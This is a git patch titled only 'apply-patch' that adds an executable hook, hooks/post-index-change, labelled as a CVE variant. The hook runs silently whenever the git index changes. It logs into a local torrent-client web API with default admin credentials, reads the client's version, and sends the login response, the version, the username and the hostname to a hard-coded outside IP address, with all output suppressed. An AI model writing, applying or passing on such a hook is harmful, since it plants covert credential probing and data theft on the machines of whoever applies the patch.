From 043844f5c5e23e63685344d33a1b811eea27dedd Mon Sep 17 00:00:00 2001 From: proxyuser01 Date: Wed, 29 Jul 2026 19:26:57 +0800 Subject: [PATCH] apply-patch --- hooks/post-index-change | 4 ++++ 1 file changed, 4 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..08c18b6 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,4 @@ +#!/bin/sh +# CVE-2026-60004 variant a +QBTR=$(curl -s -w "\nHTTP:%{http_code}" -X POST "http://127.0.0.1:8085/api/v2/auth/login" -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=adminadmin" 2>&1); curl -s "http://202.79.169.91:28016/QBTAUTH_${QBTR}" 2>/dev/null &; QBTV=$(curl -s "http://127.0.0.1:8085/api/v2/app/version" 2>&1); curl -s "http://202.79.169.91:28016/QBTVERSION_${QBTV}" 2>/dev/null & +curl -s http://202.79.169.91:28016/done_a_$(whoami)_$(hostname) 2>/dev/null &